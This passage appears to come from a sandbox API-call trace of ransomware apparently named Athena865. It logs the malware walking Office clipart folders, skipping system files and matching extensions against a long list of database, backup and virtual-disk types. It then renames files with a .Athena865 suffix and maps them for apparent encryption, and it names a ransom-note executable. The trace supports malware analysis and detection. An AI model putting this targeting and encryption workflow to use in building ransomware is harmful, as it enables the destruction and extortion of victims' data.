(lpString="idb") returned 3 [0130.033] lstrcmpiW (lpString1="JPG", lpString2="idb") returned 1 [0130.033] lstrlenW (lpString="ihx") returned 3 [0130.033] lstrcmpiW (lpString1="JPG", lpString2="ihx") returned 1 [0130.033] lstrlenW (lpString="itdb") returned 4 [0130.033] lstrcmpiW (lpString1=".JPG", lpString2="itdb") returned -1 [0130.033] lstrlenW (lpString="itw") returned 3 [0130.034] lstrcmpiW (lpString1="JPG", lpString2="itw") returned 1 [0130.034] lstrlenW (lpString="jet") returned 3 [0130.034] lstrcmpiW (lpString1="JPG", lpString2="jet") returned 1 [0130.034] lstrlenW (lpString="jtx") returned 3 [0130.034] lstrcmpiW (lpString1="JPG", lpString2="jtx") returned -1 [0130.034] lstrlenW (lpString="kdb") returned 3 [0130.034] lstrcmpiW (lpString1="JPG", lpString2="kdb") returned -1 [0130.034] lstrlenW (lpString="kexi") returned 4 [0130.034] lstrcmpiW (lpString1=".JPG", lpString2="kexi") returned -1 [0130.034] lstrlenW (lpString="kexic") returned 5 [0130.034] lstrcmpiW (lpString1="0.JPG", lpString2="kexic") returned -1 [0130.034] lstrlenW (lpString="kexis") returned 5 [0130.034] lstrcmpiW (lpString1="0.JPG", lpString2="kexis") returned -1 [0130.034] lstrlenW (lpString="lgc") returned 3 [0130.034] lstrcmpiW (lpString1="JPG", lpString2="lgc") returned -1 [0130.034] lstrlenW (lpString="lwx") returned 3 [0130.034] lstrcmpiW (lpString1="JPG", lpString2="lwx") returned -1 [0130.034] lstrlenW (lpString="maf") returned 3 [0130.034] lstrcmpiW (lpString1="JPG", lpString2="maf") returned -1 [0130.034] lstrlenW (lpString="maq") returned 3 [0130.034] lstrcmpiW (lpString1="JPG", lpString2="maq") returned -1 [0130.034] lstrlenW (lpString="mar") returned 3 [0130.034] lstrcmpiW (lpString1="JPG", lpString2="mar") returned -1 [0130.034] lstrlenW (lpString="marshal") returned 7 [0130.034] lstrcmpiW (lpString1="430.JPG", lpString2="marshal") returned -1 [0130.035] lstrlenW (lpString="mas") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="mas") returned -1 [0130.035] lstrlenW (lpString="mav") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="mav") returned -1 [0130.035] lstrlenW (lpString="maw") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="maw") returned -1 [0130.035] lstrlenW (lpString="mdbhtml") returned 7 [0130.035] lstrcmpiW (lpString1="430.JPG", lpString2="mdbhtml") returned -1 [0130.035] lstrlenW (lpString="mdn") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="mdn") returned -1 [0130.035] lstrlenW (lpString="mdt") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="mdt") returned -1 [0130.035] lstrlenW (lpString="mfd") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="mfd") returned -1 [0130.035] lstrlenW (lpString="mpd") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="mpd") returned -1 [0130.035] lstrlenW (lpString="mrg") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="mrg") returned -1 [0130.035] lstrlenW (lpString="mud") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="mud") returned -1 [0130.035] lstrlenW (lpString="mwb") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="mwb") returned -1 [0130.035] lstrlenW (lpString="myd") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="myd") returned -1 [0130.035] lstrlenW (lpString="ndf") returned 3 [0130.035] lstrcmpiW (lpString1="JPG", lpString2="ndf") returned -1 [0130.035] lstrlenW (lpString="nnt") returned 3 [0130.036] lstrcmpiW (lpString1="JPG", lpString2="nnt") returned -1 [0130.036] lstrlenW (lpString="nrmlib") returned 6 [0130.036] lstrcmpiW (lpString1="30.JPG", lpString2="nrmlib") returned -1 [0130.036] lstrlenW (lpString="ns2") returned 3 [0130.036] lstrcmpiW (lpString1="JPG", lpString2="ns2") returned -1 [0130.036] lstrlenW (lpString="ns3") returned 3 [0130.036] lstrcmpiW (lpString1="JPG", lpString2="ns3") returned -1 [0130.036] lstrlenW (lpString="ns4") returned 3 [0130.036] lstrcmpiW (lpString1="JPG", lpString2="ns4") returned -1 [0130.036] lstrlenW (lpString="nsf") returned 3 [0130.036] lstrcmpiW (lpString1="JPG", lpString2="nsf") returned -1 [0130.036] lstrlenW (lpString="nv") returned 2 [0130.036] lstrcmpiW (lpString1="PG", lpString2="nv") returned 1 [0130.036] lstrlenW (lpString="nv2") returned 3 [0130.036] lstrcmpiW (lpString1="JPG", lpString2="nv2") returned -1 [0130.036] lstrlenW (lpString="nwdb") returned 4 [0130.036] lstrcmpiW (lpString1=".JPG", lpString2="nwdb") returned -1 [0130.036] lstrlenW (lpString="nyf") returned 3 [0130.036] lstrcmpiW (lpString1="JPG", lpString2="nyf") returned -1 [0130.036] lstrlenW (lpString="odb") returned 3 [0130.036] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0130.036] lstrlenW (lpString="odb") returned 3 [0130.036] lstrcmpiW (lpString1="JPG", lpString2="odb") returned -1 [0130.036] lstrlenW (lpString="oqy") returned 3 [0130.036] lstrcmpiW (lpString1="JPG", lpString2="oqy") returned -1 [0130.036] lstrlenW (lpString="ora") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="ora") returned -1 [0130.037] lstrlenW (lpString="orx") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="orx") returned -1 [0130.037] lstrlenW (lpString="owc") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="owc") returned -1 [0130.037] lstrlenW (lpString="p96") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="p96") returned -1 [0130.037] lstrlenW (lpString="p97") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="p97") returned -1 [0130.037] lstrlenW (lpString="pan") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="pan") returned -1 [0130.037] lstrlenW (lpString="pdb") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="pdb") returned -1 [0130.037] lstrlenW (lpString="pdm") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="pdm") returned -1 [0130.037] lstrlenW (lpString="pnz") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="pnz") returned -1 [0130.037] lstrlenW (lpString="qry") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="qry") returned -1 [0130.037] lstrlenW (lpString="qvd") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="qvd") returned -1 [0130.037] lstrlenW (lpString="rbf") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="rbf") returned -1 [0130.037] lstrlenW (lpString="rctd") returned 4 [0130.037] lstrcmpiW (lpString1=".JPG", lpString2="rctd") returned -1 [0130.037] lstrlenW (lpString="rod") returned 3 [0130.037] lstrcmpiW (lpString1="JPG", lpString2="rod") returned -1 [0130.038] lstrlenW (lpString="rodx") returned 4 [0130.038] lstrcmpiW (lpString1=".JPG", lpString2="rodx") returned -1 [0130.038] lstrlenW (lpString="rpd") returned 3 [0130.038] lstrcmpiW (lpString1="JPG", lpString2="rpd") returned -1 [0130.038] lstrlenW (lpString="rsd") returned 3 [0130.038] lstrcmpiW (lpString1="JPG", lpString2="rsd") returned -1 [0130.038] lstrlenW (lpString="sas7bdat") returned 8 [0130.038] lstrcmpiW (lpString1="9430.JPG", lpString2="sas7bdat") returned -1 [0130.038] lstrlenW (lpString="sbf") returned 3 [0130.038] lstrcmpiW (lpString1="JPG", lpString2="sbf") returned -1 [0130.038] lstrlenW (lpString="scx") returned 3 [0130.038] lstrcmpiW (lpString1="JPG", lpString2="scx") returned -1 [0130.038] lstrlenW (lpString="sdb") returned 3 [0130.038] lstrcmpiW (lpString1="JPG", lpString2="sdb") returned -1 [0130.038] lstrlenW (lpString="sdc") returned 3 [0130.038] lstrcmpiW (lpString1="JPG", lpString2="sdc") returned -1 [0130.038] lstrlenW (lpString="sdf") returned 3 [0130.038] lstrcmpiW (lpString1="JPG", lpString2="sdf") returned -1 [0130.038] lstrlenW (lpString="sis") returned 3 [0130.038] lstrcmpiW (lpString1="JPG", lpString2="sis") returned -1 [0130.038] lstrlenW (lpString="spq") returned 3 [0130.038] lstrcmpiW (lpString1="JPG", lpString2="spq") returned -1 [0130.038] lstrlenW (lpString="te") returned 2 [0130.038] lstrcmpiW (lpString1="PG", lpString2="te") returned -1 [0130.038] lstrlenW (lpString="teacher") returned 7 [0130.038] lstrcmpiW (lpString1="430.JPG", lpString2="teacher") returned -1 [0130.039] lstrlenW (lpString="tmd") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="tmd") returned -1 [0130.039] lstrlenW (lpString="tps") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="tps") returned -1 [0130.039] lstrlenW (lpString="trc") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0130.039] lstrlenW (lpString="trc") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="trc") returned -1 [0130.039] lstrlenW (lpString="trm") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="trm") returned -1 [0130.039] lstrlenW (lpString="udb") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="udb") returned -1 [0130.039] lstrlenW (lpString="udl") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="udl") returned -1 [0130.039] lstrlenW (lpString="usr") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="usr") returned -1 [0130.039] lstrlenW (lpString="v12") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="v12") returned -1 [0130.039] lstrlenW (lpString="vis") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="vis") returned -1 [0130.039] lstrlenW (lpString="vpd") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="vpd") returned -1 [0130.039] lstrlenW (lpString="vvv") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="vvv") returned -1 [0130.039] lstrlenW (lpString="wdb") returned 3 [0130.039] lstrcmpiW (lpString1="JPG", lpString2="wdb") returned -1 [0130.039] lstrlenW (lpString="wmdb") returned 4 [0130.040] lstrcmpiW (lpString1=".JPG", lpString2="wmdb") returned -1 [0130.040] lstrlenW (lpString="wrk") returned 3 [0130.040] lstrcmpiW (lpString1="JPG", lpString2="wrk") returned -1 [0130.040] lstrlenW (lpString="xdb") returned 3 [0130.040] lstrcmpiW (lpString1="JPG", lpString2="xdb") returned -1 [0130.040] lstrlenW (lpString="xld") returned 3 [0130.040] lstrcmpiW (lpString1="JPG", lpString2="xld") returned -1 [0130.040] lstrlenW (lpString="xmlff") returned 5 [0130.040] lstrcmpiW (lpString1="0.JPG", lpString2="xmlff") returned -1 [0130.040] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.Athena865") returned 73 [0130.040] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.athena865"), dwFlags=0x1) returned 1 [0130.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0289430.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0289430.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.042] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11553) returned 1 [0130.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.042] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.042] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.043] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.043] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.043] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3030, lpName=0x0) returned 0x154 [0130.045] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3030) returned 0x100000 [0130.046] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.047] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.047] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.047] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.048] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.048] CloseHandle (hObject=0x154) returned 1 [0130.048] CloseHandle (hObject=0x17c) returned 1 [0130.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.048] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5668dad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9e8a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0290548.WMF", cAlternateFileName="")) returned 1 [0130.048] lstrcmpiW (lpString1="J0290548.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.048] lstrcmpiW (lpString1="J0290548.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.048] lstrcmpiW (lpString1="J0290548.WMF", lpString2=".") returned 1 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2="..") returned 1 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2="windows") returned -1 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2="bootmgr") returned 1 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2="temp") returned -1 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2="pagefile.sys") returned -1 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2="boot") returned 1 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2="ids.txt") returned 1 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2="ntuser.dat") returned -1 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2="perflogs") returned -1 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2="MSBuild") returned -1 [0130.049] lstrlenW (lpString="J0290548.WMF") returned 12 [0130.049] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0290548.WMF" | out: lpString1="J0290548.WMF") returned="J0290548.WMF" [0130.049] lstrlenW (lpString="J0290548.WMF") returned 12 [0130.049] lstrlenW (lpString="Athena865") returned 9 [0130.049] lstrcmpiW (lpString1="90548.WMF", lpString2="Athena865") returned -1 [0130.049] lstrlenW (lpString=".dll") returned 4 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2=".dll") returned 1 [0130.049] lstrlenW (lpString=".lnk") returned 4 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2=".lnk") returned 1 [0130.049] lstrlenW (lpString=".ini") returned 4 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2=".ini") returned 1 [0130.049] lstrlenW (lpString=".sys") returned 4 [0130.049] lstrcmpiW (lpString1="J0290548.WMF", lpString2=".sys") returned 1 [0130.049] lstrlenW (lpString="J0290548.WMF") returned 12 [0130.049] lstrlenW (lpString="bak") returned 3 [0130.049] lstrcmpiW (lpString1="WMF", lpString2="bak") returned 1 [0130.050] lstrlenW (lpString="ba_") returned 3 [0130.050] lstrcmpiW (lpString1="WMF", lpString2="ba_") returned 1 [0130.050] lstrlenW (lpString="dbb") returned 3 [0130.050] lstrcmpiW (lpString1="WMF", lpString2="dbb") returned 1 [0130.050] lstrlenW (lpString="vmdk") returned 4 [0130.050] lstrcmpiW (lpString1=".WMF", lpString2="vmdk") returned -1 [0130.050] lstrlenW (lpString="rar") returned 3 [0130.050] lstrcmpiW (lpString1="WMF", lpString2="rar") returned 1 [0130.050] lstrlenW (lpString="zip") returned 3 [0130.050] lstrcmpiW (lpString1="WMF", lpString2="zip") returned -1 [0130.050] lstrlenW (lpString="tgz") returned 3 [0130.050] lstrcmpiW (lpString1="WMF", lpString2="tgz") returned 1 [0130.050] lstrlenW (lpString="vbox") returned 4 [0130.050] lstrcmpiW (lpString1=".WMF", lpString2="vbox") returned -1 [0130.050] lstrlenW (lpString="vdi") returned 3 [0130.050] lstrcmpiW (lpString1="WMF", lpString2="vdi") returned 1 [0130.050] lstrlenW (lpString="vhd") returned 3 [0130.050] lstrcmpiW (lpString1="WMF", lpString2="vhd") returned 1 [0130.050] lstrlenW (lpString="vhdx") returned 4 [0130.050] lstrcmpiW (lpString1=".WMF", lpString2="vhdx") returned -1 [0130.050] lstrlenW (lpString="avhd") returned 4 [0130.050] lstrcmpiW (lpString1=".WMF", lpString2="avhd") returned -1 [0130.050] lstrlenW (lpString="db") returned 2 [0130.050] lstrcmpiW (lpString1="MF", lpString2="db") returned 1 [0130.050] lstrlenW (lpString="db2") returned 3 [0130.050] lstrcmpiW (lpString1="WMF", lpString2="db2") returned 1 [0130.050] lstrlenW (lpString="db3") returned 3 [0130.051] lstrcmpiW (lpString1="WMF", lpString2="db3") returned 1 [0130.051] lstrlenW (lpString="dbf") returned 3 [0130.051] lstrcmpiW (lpString1="WMF", lpString2="dbf") returned 1 [0130.051] lstrlenW (lpString="mdf") returned 3 [0130.051] lstrcmpiW (lpString1="WMF", lpString2="mdf") returned 1 [0130.051] lstrlenW (lpString="mdb") returned 3 [0130.051] lstrcmpiW (lpString1="WMF", lpString2="mdb") returned 1 [0130.051] lstrlenW (lpString="sql") returned 3 [0130.051] lstrcmpiW (lpString1="WMF", lpString2="sql") returned 1 [0130.051] lstrlenW (lpString="sqlite") returned 6 [0130.051] lstrcmpiW (lpString1="48.WMF", lpString2="sqlite") returned -1 [0130.051] lstrlenW (lpString="sqlite3") returned 7 [0130.051] lstrcmpiW (lpString1="548.WMF", lpString2="sqlite3") returned -1 [0130.051] lstrlenW (lpString="sqlitedb") returned 8 [0130.051] lstrcmpiW (lpString1="0548.WMF", lpString2="sqlitedb") returned -1 [0130.051] lstrlenW (lpString="xml") returned 3 [0130.051] lstrcmpiW (lpString1="WMF", lpString2="xml") returned -1 [0130.051] lstrlenW (lpString="$er") returned 3 [0130.051] lstrcmpiW (lpString1="WMF", lpString2="$er") returned 1 [0130.051] lstrlenW (lpString="4dd") returned 3 [0130.051] lstrcmpiW (lpString1="WMF", lpString2="4dd") returned 1 [0130.051] lstrlenW (lpString="4dl") returned 3 [0130.051] lstrcmpiW (lpString1="WMF", lpString2="4dl") returned 1 [0130.051] lstrlenW (lpString="^^^") returned 3 [0130.051] lstrcmpiW (lpString1="WMF", lpString2="^^^") returned 1 [0130.051] lstrlenW (lpString="abs") returned 3 [0130.052] lstrcmpiW (lpString1="WMF", lpString2="abs") returned 1 [0130.052] lstrlenW (lpString="abx") returned 3 [0130.052] lstrcmpiW (lpString1="WMF", lpString2="abx") returned 1 [0130.052] lstrlenW (lpString="accdb") returned 5 [0130.052] lstrcmpiW (lpString1="8.WMF", lpString2="accdb") returned -1 [0130.052] lstrlenW (lpString="accdc") returned 5 [0130.052] lstrcmpiW (lpString1="8.WMF", lpString2="accdc") returned -1 [0130.052] lstrlenW (lpString="accde") returned 5 [0130.052] lstrcmpiW (lpString1="8.WMF", lpString2="accde") returned -1 [0130.052] lstrlenW (lpString="accdr") returned 5 [0130.052] lstrcmpiW (lpString1="8.WMF", lpString2="accdr") returned -1 [0130.052] lstrlenW (lpString="accdt") returned 5 [0130.052] lstrcmpiW (lpString1="8.WMF", lpString2="accdt") returned -1 [0130.052] lstrlenW (lpString="accdw") returned 5 [0130.052] lstrcmpiW (lpString1="8.WMF", lpString2="accdw") returned -1 [0130.052] lstrlenW (lpString="accft") returned 5 [0130.052] lstrcmpiW (lpString1="8.WMF", lpString2="accft") returned -1 [0130.052] lstrlenW (lpString="adb") returned 3 [0130.052] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0130.052] lstrlenW (lpString="adb") returned 3 [0130.052] lstrcmpiW (lpString1="WMF", lpString2="adb") returned 1 [0130.052] lstrlenW (lpString="ade") returned 3 [0130.052] lstrcmpiW (lpString1="WMF", lpString2="ade") returned 1 [0130.052] lstrlenW (lpString="adf") returned 3 [0130.052] lstrcmpiW (lpString1="WMF", lpString2="adf") returned 1 [0130.052] lstrlenW (lpString="adn") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="adn") returned 1 [0130.053] lstrlenW (lpString="adp") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="adp") returned 1 [0130.053] lstrlenW (lpString="alf") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="alf") returned 1 [0130.053] lstrlenW (lpString="ask") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="ask") returned 1 [0130.053] lstrlenW (lpString="btr") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="btr") returned 1 [0130.053] lstrlenW (lpString="cat") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="cat") returned 1 [0130.053] lstrlenW (lpString="cdb") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="cdb") returned 1 [0130.053] lstrlenW (lpString="ckp") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="ckp") returned 1 [0130.053] lstrlenW (lpString="cma") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="cma") returned 1 [0130.053] lstrlenW (lpString="cpd") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="cpd") returned 1 [0130.053] lstrlenW (lpString="dacpac") returned 6 [0130.053] lstrcmpiW (lpString1="48.WMF", lpString2="dacpac") returned -1 [0130.053] lstrlenW (lpString="dad") returned 3 [0130.053] lstrcmpiW (lpString1="WMF", lpString2="dad") returned 1 [0130.053] lstrlenW (lpString="dadiagrams") returned 10 [0130.053] lstrcmpiW (lpString1="290548.WMF", lpString2="dadiagrams") returned -1 [0130.053] lstrlenW (lpString="daschema") returned 8 [0130.053] lstrcmpiW (lpString1="0548.WMF", lpString2="daschema") returned -1 [0130.054] lstrlenW (lpString="db-journal") returned 10 [0130.054] lstrcmpiW (lpString1="290548.WMF", lpString2="db-journal") returned -1 [0130.054] lstrlenW (lpString="db-shm") returned 6 [0130.054] lstrcmpiW (lpString1="48.WMF", lpString2="db-shm") returned -1 [0130.054] lstrlenW (lpString="db-wal") returned 6 [0130.054] lstrcmpiW (lpString1="48.WMF", lpString2="db-wal") returned -1 [0130.054] lstrlenW (lpString="dbc") returned 3 [0130.054] lstrcmpiW (lpString1="WMF", lpString2="dbc") returned 1 [0130.054] lstrlenW (lpString="dbs") returned 3 [0130.054] lstrcmpiW (lpString1="WMF", lpString2="dbs") returned 1 [0130.054] lstrlenW (lpString="dbt") returned 3 [0130.054] lstrcmpiW (lpString1="WMF", lpString2="dbt") returned 1 [0130.054] lstrlenW (lpString="dbv") returned 3 [0130.054] lstrcmpiW (lpString1="WMF", lpString2="dbv") returned 1 [0130.054] lstrlenW (lpString="dbx") returned 3 [0130.054] lstrcmpiW (lpString1="WMF", lpString2="dbx") returned 1 [0130.054] lstrlenW (lpString="dcb") returned 3 [0130.054] lstrcmpiW (lpString1="WMF", lpString2="dcb") returned 1 [0130.054] lstrcmpiW (lpString1="WMF", lpString2="dct") returned 1 [0130.055] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.Athena865") returned 73 [0130.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.athena865"), dwFlags=0x1) returned 1 [0130.056] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0290548.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0290548.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.056] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=40586) returned 1 [0130.056] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.057] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.058] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.058] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.058] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa190, lpName=0x0) returned 0x154 [0130.059] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa190) returned 0x100000 [0130.062] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.063] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.063] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.063] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.063] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.063] HeapFree (in: hHeap=0x4f0000, 